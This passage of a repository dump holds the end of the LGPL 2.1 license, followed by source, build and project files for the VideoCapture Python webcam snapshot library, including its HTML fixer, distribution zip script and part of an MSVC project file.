attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License.  However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.

  9. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Library or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.

  10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.

  11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all.  For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded.  In such case, this License incorporates the limitation as if
written in the body of this License.

  13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number.  If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation.  If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.

  14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission.  For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this.  Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.

			    NO WARRANTY

  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.

		     END OF TERMS AND CONDITIONS

           How to Apply These Terms to Your New Libraries

  If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change.  You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).

  To apply these terms, attach the following notices to the library.  It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

    <one line to give the library's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This library is free software; you can redistribute it and/or
    modify it under the terms of the GNU Lesser General Public
    License as published by the Free Software Foundation; either
    version 2.1 of the License, or (at your option) any later version.

    This library is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
    Lesser General Public License for more details.

    You should have received a copy of the GNU Lesser General Public
    License along with this library; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

Also add information on how to contact you by electronic and paper mail.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the
  library `Frob' (a library for tweaking knobs) written by James Random Hacker.

  <signature of Ty Coon>, 1 April 1990
  Ty Coon, President of Vice

That's all there is to it!




================================================
FILE: pupy/packages/src/VideoCapture/src/VideoCapture.py
================================================
"""VideoCapture.py

by Markus Gritsch <gritsch@iue.tuwien.ac.at>

"""
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import vidcap
from PIL import Image, ImageFont, ImageDraw
import time
import string

default_textpos = 'bl' # t=top, b=bottom;   l=left, c=center, r=right
textcolor = 0xffffff
shadowcolor = 0x000000

def now():
    """Returns a string containing the current date and time.

    This function is used internally by VideoCapture to generate the timestamp
    with which a snapshot can optionally be marked.

    """
    weekday = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun')
    #weekday = ('Mo', 'Di', 'Mi', 'Do', 'Fr', 'Sa', 'So')
    #weekday = ('-', '-', '-', '-', '-', '-', '-')
    y, m, d, hr, min, sec, wd, jd, dst = time.localtime(time.time())
    return '%s:%s:%s %s %s.%s.%s' % (string.zfill(hr, 2), string.zfill(min, 2), string.zfill(sec, 2), weekday[wd], d, m, y)

class Device:
    """Create instances of this class which will then represent video devices.

    For the lifetime of the instance, the device is blocked, so it can not be
    used by other applications (which is quite normal Windows behavior).
    If you want to access the device from another program, you have to delete
    the instance first (e.g. del cam).

    """
    def __init__(self, devnum=0, showVideoWindow=0):
        """devnum:  VideoCapture enumerates the available video capture devices
                    on your system.  If you have more than one device, specify
                    the desired one here.  The device number starts from 0.

           showVideoWindow: 0 ... do not display a video window (the default)
                            1 ... display a video window

                            Mainly used for debugging, since the video window
                            can not be closed or moved around.

        """
        self.dev = vidcap.new_Dev(devnum, showVideoWindow)
        self.normalfont = ImageFont.load_path('helvetica-10.pil')
        self.boldfont = ImageFont.load_path('helvB08.pil')
        self.font = None

    def displayPropertyPage(self):
        """deprecated

        Use the methods displayCaptureFilterProperties() and
        displayCapturePinProperties() instead.

        """
        print('WARNING: displayPropertyPage() is deprecated.')
        print('         Use displayCaptureFilterProperties() and displayCapturePinProperties()')
        print('         instead!')
        self.dev.displaypropertypage()

    def displayCaptureFilterProperties(self):
        """Displays a dialog containing the property page of the capture filter.

        For VfW drivers you may find the option to select the resolution most
        likele here.

        """
        self.dev.displaycapturefilterproperties()

    def displayCapturePinProperties(self):
        """Displays a dialog containing the property page of the capture pin.

        For WDM drivers you may find the option to select the resolution most
        likele here.

        """
        self.dev.displaycapturepinproperties()

    def setResolution(self, width, height):
        """Sets the capture resolution. (without dialog)

        (contributed by Don Kimber <kimber@fxpal.com>)

        """
        self.dev.setresolution(width, height)

    def getDisplayName(self):
        """ Gets the Windows "friendly name" for the device (for example "Microsoft LifeCam VX-1000")

        (contributed by Jeremy Mortis (mortis@tansay.ca)
        """
        return self.dev.getdisplayname()

    def getBuffer(self):
        """Returns a string containing the raw pixel data.

        You probably don't want to use this function, but rather getImage() or
        saveSnapshot().

        """
        return self.dev.getbuffer()

    def getImage(self, timestamp=0, boldfont=0, textpos=default_textpos):
        """Returns a PIL Image instance.

        timestamp:  0 ... no timestamp (the default)
                    1 ... simple timestamp
                    2 ... timestamp with shadow
                    3 ... timestamp with outline

        boldfont:   0 ... normal font (the default)
                    1 ... bold font

        textpos:    The position of the timestamp can be specified by a string
                    containing a combination of two characters.  One character
                    must be either t or b, the other one either l, c or r.

                    t ... top
                    b ... bottom

                    l ... left
                    c ... center
                    r ... right

                    The default value is 'bl'

        """
        if timestamp:
            #text = now()
            text = time.asctime(time.localtime(time.time()))
        buffer, width, height = self.getBuffer()
        if buffer:
            im = Image.fromstring('RGB', (width, height), buffer, 'raw', 'BGR', 0, -1)
            if timestamp:
                if boldfont:
                    self.font = self.boldfont
                else:
                    self.font = self.normalfont
                tw, th = self.font.getsize(text)
                tw -= 2
                th -= 2
                if 't' in textpos:
                    y = -1
                elif 'b' in textpos:
                    y = height - th - 2
                else:
                    raise ValueError("textpos must contain exactly one out of 't', 'b'")
                if 'l' in textpos:
                    x = 2
                elif 'c' in textpos:
                    x = (width - tw) / 2
                elif 'r' in textpos:
                    x = (width - tw) - 2
                else:
                    raise ValueError("textpos must contain exactly one out of 'l', 'c', 'r'")
                draw = ImageDraw.Draw(im)
                if timestamp == 2: # shadow
                    draw.text((x+1, y), text, font=self.font, fill=shadowcolor)
                    draw.text((x, y+1), text, font=self.font, fill=shadowcolor)
                    draw.text((x+1, y+1), text, font=self.font, fill=shadowcolor)
                else:
                    if timestamp >= 3: # thin border
                        draw.text((x-1, y), text, font=self.font, fill=shadowcolor)
                        draw.text((x+1, y), text, font=self.font, fill=shadowcolor)
                        draw.text((x, y-1), text, font=self.font, fill=shadowcolor)
                        draw.text((x, y+1), text, font=self.font, fill=shadowcolor)
                    if timestamp == 4: # thick border
                        draw.text((x-1, y-1), text, font=self.font, fill=shadowcolor)
                        draw.text((x+1, y-1), text, font=self.font, fill=shadowcolor)
                        draw.text((x-1, y+1), text, font=self.font, fill=shadowcolor)
                        draw.text((x+1, y+1), text, font=self.font, fill=shadowcolor)
                draw.text((x, y), text, font=self.font, fill=textcolor)
            return im

    def saveSnapshot(self, filename, timestamp=0, boldfont=0, textpos=default_textpos, **keywords):
        """Saves a snapshot to the harddisk.

        The filetype depends on the filename extension.  Everything that PIL
        can handle can be specified (foo.jpg, foo.gif, foo.bmp, ...).

        filename:   String containing the name of the resulting file.

        timestamp:  see getImage()

        boldfont:   see getImage()

        textpos:    see getImage()

        Additional keyword arguments can be give which are just passed to the
        save() method of the Image class.  For example you can specify the
        compression level of a JPEG image by quality=75 (which is the default
        value anyway).

        """
        self.getImage(timestamp, boldfont, textpos).save(filename, **keywords)

if __name__ == '__main__':
    # import shutil
    #shutil.copy('VideoCapture.py', 'C:\Python20\Lib')
    #shutil.copy('VideoCapture.py', 'C:\Python21\Lib')
    #shutil.copy('VideoCapture.py', 'C:\Python22\Lib')
    #shutil.copy('VideoCapture.py', 'C:\Python23\Lib')
    #shutil.copy('VideoCapture.py', 'C:\Python24\Lib')
    #shutil.copy('VideoCapture.py', 'C:\Python25\Lib')
    cam = Device(devnum=0)
    #~ #cam.displayPropertyPage() ## deprecated
    #~ #cam.displayCaptureFilterProperties()
    #~ #cam.displayCapturePinProperties()
    #~ #cam.setResolution(768, 576) ## PAL
    #~ #cam.setResolution(352, 288) ## CIF
    #~ cam.saveSnapshot('test.jpg', quality=75, timestamp=3, boldfont=1)
    print("Friendly name: ", cam.getDisplayName())


================================================
FILE: pupy/packages/src/VideoCapture/src/fixhtml.py
================================================
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import os
import string

from io import open

oldWin = '''span {
    font-family: Verdana;
    background: #e0e0d0;
    font-size: 10pt;
}
</style>
</head>
<body bgcolor="#e0e0d0">
'''

oldLinux = '''span {
    font-family: Verdana;
    background: #e0e0d0;
    font-size: 13pt;
}
</style>
</head>
<body bgcolor="#e0e0d0">
'''

new = '''span {
    font-family: Verdana;
}
</style>
</head>
<body bgcolor="#f0f0f8">
'''

def fixhtmlfile(file):
    if os.path.isfile(file) and file[-5:] == '.html':
        print(file)
        fp = open(file, 'rt')
        cont = fp.read()
        fp.close()
        cont = string.replace(cont, '\r\n', '\n')
        cont = string.replace(cont, oldWin, new)
        cont = string.replace(cont, oldLinux, new)
        fp = open(file, 'wt')
        fp.write(cont)
        fp.close()

def fixhtmlfiles(dir):
    files = os.listdir(dir)
    for file in files:
        fixhtmlfile(dir + os.sep + file)


================================================
FILE: pupy/packages/src/VideoCapture/src/mkdist.py
================================================
from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
version = '0.9-2'

###############################################################################

print('- exportashtml')

import os

if os.name == 'nt':
    scite = r'C:\Programme\wscite\SciTE.exe'
else:
    scite = '/iuehome/gritsch/bin/scite'

file = 'VideoCapture.py'
src = './' + file
dest = '../html/' + file + '.html'
os.system(scite + ' -open:%s -exportashtml:%s -quit:' % (src, dest))

###############################################################################

print('- fixhtmlfile')

import time
import fixhtml

time.sleep(1) # allow SciTE to finish writing
fixhtml.fixhtmlfile(dest)

###############################################################################

print('- pydoc_it')

os.system(r'c:\Python22\python.exe c:\Python22\Lib\pydoc.py -w VideoCapture ')
os.system(r'move VideoCapture.html ..\html\ ')
os.remove('VideoCapture.pyc')

###############################################################################

print('- fixpydochtmlfile')

import string

file = '../html/VideoCapture.html'
fp = open(file)
cont = fp.read()
fp.close()
cont = string.replace(cont, '\r\n', '\n')
cont = string.replace(cont, '''<style type="text/css"><!--
TT { font-family: lucidatypewriter, lucida console, courier }
--></style>''', '''<style type="text/css"><!--
TT { font-family: courier new }
--></style>''')
cont = string.replace(cont, 'face="helvetica, arial"', 'face="verdana"')
cont = string.replace(cont, r'<a href=".">index</a><br><a href="file:///D|/home/python/vidcap/videocapture-' + version + r'/src/videocapture.py">d:\home\python\vidcap\videocapture-' + version + r'\src\videocapture.py</a>', '<a href="../index.html">index.html</a><br><a href="VideoCapture.py.html">VideoCapture.py</a>')
fp = open(file, 'wt')
fp.write(cont)
fp.close()

###############################################################################

print('- zip_it')

import zipfile

archive = zipfile.ZipFile('../VideoCapture-' + version + '.zip', 'w', zipfile.ZIP_DEFLATED)

archive.write('../LGPL.txt', 'LGPL.txt')
archive.write('../index.html', 'index.html')
archive.write('../html/logo.jpg', 'html/logo.jpg')
archive.write('../html/PythonPowered.gif', 'html/PythonPowered.gif')
archive.write('../html/VideoCapture.py.html', 'html/VideoCapture.py.html')
archive.write('../html/VideoCapture.html', 'html/VideoCapture.html')
archive.write('mkdist.py', 'src/mkdist.py')
archive.write('fixhtml.py', 'src/fixhtml.py')
archive.write('vidcap.dsp', 'src/vidcap.dsp')
archive.write('vidcap.dsw', 'src/vidcap.dsw')
archive.write('vidcapmodule.cpp', 'src/vidcapmodule.cpp')

archive.write('VideoCapture.py', 'src/VideoCapture.py')
archive.write('helvB08.png', 'src/helvB08.png')
archive.write('helvB08.pil', 'src/helvB08.pil')
archive.write('helvetica-10.png', 'src/helvetica-10.png')
archive.write('helvetica-10.pil', 'src/helvetica-10.pil')

archive.write('VideoCapture.py', 'Python20/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python20/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python20/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python20/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python20/Lib/helvetica-10.pil')

archive.write('VideoCapture.py', 'Python21/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python21/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python21/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python21/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python21/Lib/helvetica-10.pil')

archive.write('VideoCapture.py', 'Python22/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python22/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python22/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python22/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python22/Lib/helvetica-10.pil')

archive.write('VideoCapture.py', 'Python23/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python23/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python23/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python23/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python23/Lib/helvetica-10.pil')

archive.write('VideoCapture.py', 'Python24/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python24/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python24/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python24/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python24/Lib/helvetica-10.pil')

archive.write('VideoCapture.py', 'Python25/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python25/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python25/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python25/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python25/Lib/helvetica-10.pil')

archive.write('VideoCapture.py', 'Python26/Lib/VideoCapture.py')
archive.write('helvB08.png', 'Python26/Lib/helvB08.png')
archive.write('helvB08.pil', 'Python26/Lib/helvB08.pil')
archive.write('helvetica-10.png', 'Python26/Lib/helvetica-10.png')
archive.write('helvetica-10.pil', 'Python26/Lib/helvetica-10.pil')

archive.write('Python20/vidcap.pyd', 'Python20/DLLs/vidcap.pyd')
archive.write('Python21/vidcap.pyd', 'Python21/DLLs/vidcap.pyd')
archive.write('Python22/vidcap.pyd', 'Python22/DLLs/vidcap.pyd')
archive.write('Python23/vidcap.pyd', 'Python23/DLLs/vidcap.pyd')
archive.write('Python24/vidcap.dll', 'Python24/DLLs/vidcap.dll')
archive.write('Python25/vidcap.pyd', 'Python25/DLLs/vidcap.pyd')
archive.write('Python26/vidcap.pyd', 'Python26/DLLs/vidcap.pyd')

archive.write('../AMCAP/AMCAP.EXE', 'AMCAP/AMCAP.EXE')
archive.write('../AMCAP/AMCAP.DOC', 'AMCAP/AMCAP.DOC')

archive.write('../Examples/exa1_snapshot.py', 'Examples/exa1_snapshot.py')
archive.write('../Examples/exa2_show-possibilities.py', 'Examples/exa2_show-possibilities.py')
archive.write('../Examples/exa3_observer.py', 'Examples/exa3_observer.py')
archive.write('../Examples/displayPropertiesDev0.pyw', 'Examples/displayPropertiesDev0.pyw')
archive.write('../Examples/displayPropertiesDev1.pyw', 'Examples/displayPropertiesDev1.pyw')
archive.write('../Examples/test1.jpg', 'Examples/test1.jpg')
archive.write('../Examples/test2.jpg', 'Examples/test2.jpg')
archive.write('../Examples/test3.jpg', 'Examples/test3.jpg')
archive.write('../Examples/test4.jpg', 'Examples/test4.jpg')

archive.write('../Tools/readme.txt', 'Tools/readme.txt')

archive.write('../Tools/webcam-saver/webcam-saver.py', 'Tools/webcam-saver/webcam-saver.py')
archive.write('../Tools/webcam-saver/webcam-saver.ini', 'Tools/webcam-saver/webcam-saver.ini')

archive.write('../Tools/webcam-uploader/webcam-uploader.py', 'Tools/webcam-uploader/webcam-uploader.py')
archive.write('../Tools/webcam-uploader/webcam-uploader.ini', 'Tools/webcam-uploader/webcam-uploader.ini')
archive.write('../Tools/webcam-uploader/scpdropin.py', 'Tools/webcam-uploader/scpdropin.py')
archive.write('../Tools/webcam-uploader/template.html', 'Tools/webcam-uploader/template.html')
archive.write('../Tools/webcam-uploader/offline.jpg', 'Tools/webcam-uploader/offline.jpg')
archive.write('../Tools/webcam-uploader/offline2.jpg', 'Tools/webcam-uploader/offline2.jpg')

archive.write('../Tools/webcam-watcher/cam_form.ui', 'Tools/webcam-watcher/cam_form.ui')
archive.write('../Tools/webcam-watcher/cam_form.py', 'Tools/webcam-watcher/cam_form.py')
archive.write('../Tools/webcam-watcher/webcam-watcher.py', 'Tools/webcam-watcher/webcam-watcher.py')
archive.write('../Tools/webcam-watcher/webcam-watcher.ini', 'Tools/webcam-watcher/webcam-watcher.ini')
archive.write('../Tools/webcam-watcher/cam.png', 'Tools/webcam-watcher/cam.png')
archive.write('../Tools/webcam-watcher/cam256.ico', 'Tools/webcam-watcher/cam256.ico')
archive.write('../Tools/webcam-watcher/retrieving.png', 'Tools/webcam-watcher/retrieving.png')
archive.write('../Tools/webcam-watcher/error.png', 'Tools/webcam-watcher/error.png')
archive.write('../Tools/webcam-watcher/setup.py', 'Tools/webcam-watcher/setup.py')
archive.write('../Tools/webcam-watcher/makedist.bat', 'Tools/webcam-watcher/makedist.bat')

archive.write('../Tools/3rdParty/webcam-server/email.txt', 'Tools/3rdParty/webcam-server/email.txt')
archive.write('../Tools/3rdParty/webcam-server/webcam-server.py', 'Tools/3rdParty/webcam-server/webcam-server.py')
archive.write('../Tools/3rdParty/webcam-server/webcam-server.ini', 'Tools/3rdParty/webcam-server/webcam-server.ini')

archive.write('../Tools/3rdParty/pushserver/email.txt', 'Tools/3rdParty/pushserver/email.txt')
archive.write('../Tools/3rdParty/pushserver/server.py', 'Tools/3rdParty/pushserver/server.py')
archive.write('../Tools/3rdParty/pushserver/index.html', 'Tools/3rdParty/pushserver/index.html')
archive.write('../Tools/3rdParty/pushserver/test_push.html', 'Tools/3rdParty/pushserver/test_push.html')
archive.write('../Tools/3rdParty/pushserver/test_static.html', 'Tools/3rdParty/pushserver/test_static.html')

archive.close()


================================================
FILE: pupy/packages/src/VideoCapture/src/vidcap.dsp
================================================
# Microsoft Developer Studio Project File - Name="vidcap" - Package Owner=<4>
# Microsoft Developer Studio Generated Build File, Format Version 6.00
# ** DO NOT EDIT **

# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102

CFG=vidcap - Win32 Python20
!MESSAGE This is not a valid makefile. To build this project using NMAKE,
!MESSAGE use the Export Makefile command and run
!MESSAGE
!MESSAGE NMAKE /f "vidcap.mak".
!MESSAGE
!MESSAGE You can specify a configuration when running NMAKE
!MESSAGE by defining the macro CFG on the command line. For example:
!MESSAGE
!MESSAGE NMAKE /f "vidcap.mak" CFG="vidcap - Win32 Python20"
!MESSAGE
!MESSAGE Possible choices for configuration are:
!MESSAGE
!MESSAGE "vidcap - Win32 Python20" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python21" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python22" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python23" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python24" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE "vidcap - Win32 Python25" (based on "Win32 (x86) Dynamic-Link Library")
!MESSAGE

# Begin Project
# PROP AllowPerConfigDependencies 0
# PROP Scc_ProjName ""
# PROP Scc_LocalPath ""
CPP=cl.exe
MTL=midl.exe
RSC=rc.exe

!IF  "$(CFG)" == "vidcap - Win32 Python20"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python20"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python20"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python20"
# PROP Intermediate_Dir "Python20"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON20\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 python20.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Release/vidcap.pyd"
# SUBTRACT BASE LINK32 /map /nodefaultlib
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python20/vidcap.pyd" /libpath:"c:\PYTHON20\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none
# Begin Custom Build
TargetPath=.\Python20\vidcap.pyd
InputPath=.\Python20\vidcap.pyd
SOURCE="$(InputPath)"

"c:\Python20\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	copy $(TargetPath) "c:\python20\DLLs"

# End Custom Build

!ELSEIF  "$(CFG)" == "vidcap - Win32 Python21"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python21"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python21"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python21"
# PROP Intermediate_Dir "Python21"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON21\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
# ADD BASE RSC /l 0x809 /d "NDEBUG"
# ADD RSC /l 0x809 /d "NDEBUG"
BSC32=bscmake.exe
# ADD BASE BSC32 /nologo
# ADD BSC32 /nologo
LINK32=link.exe
# ADD BASE LINK32 python20.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /out:"Release/vidcap.pyd"
# SUBTRACT BASE LINK32 /map /nodefaultlib
# ADD LINK32 c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses\Release\STRMBASE.lib strmiids.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386 /nodefaultlib:"libcmt" /out:"Python21/vidcap.pyd" /libpath:"c:\PYTHON21\LIBS" /libpath:"c:\DXSDK\lib"
# SUBTRACT LINK32 /pdb:none /nodefaultlib
# Begin Custom Build
TargetPath=.\Python21\vidcap.pyd
InputPath=.\Python21\vidcap.pyd
SOURCE="$(InputPath)"

"c:\Python21\DLLs\vidcap.pyd" : $(SOURCE) "$(INTDIR)" "$(OUTDIR)"
	copy $(TargetPath) "c:\python21\DLLs"

# End Custom Build

!ELSEIF  "$(CFG)" == "vidcap - Win32 Python22"

# PROP BASE Use_MFC 0
# PROP BASE Use_Debug_Libraries 0
# PROP BASE Output_Dir "vidcap___Win32_Python22"
# PROP BASE Intermediate_Dir "vidcap___Win32_Python22"
# PROP BASE Ignore_Export_Lib 0
# PROP BASE Target_Dir ""
# PROP Use_MFC 0
# PROP Use_Debug_Libraries 0
# PROP Output_Dir "Python22"
# PROP Intermediate_Dir "Python22"
# PROP Ignore_Export_Lib 0
# PROP Target_Dir ""
# ADD BASE CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON22\INCLUDE" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD CPP /nologo /MD /W3 /GX /O2 /I "c:\PYTHON22\INCLUDE" /I "c:\DXSDK\include" /I "c:\DXSDK\samples\Multimedia\DirectShow\BaseClasses" /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "VPDCAP_EXPORTS" /YX /FD /c
# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
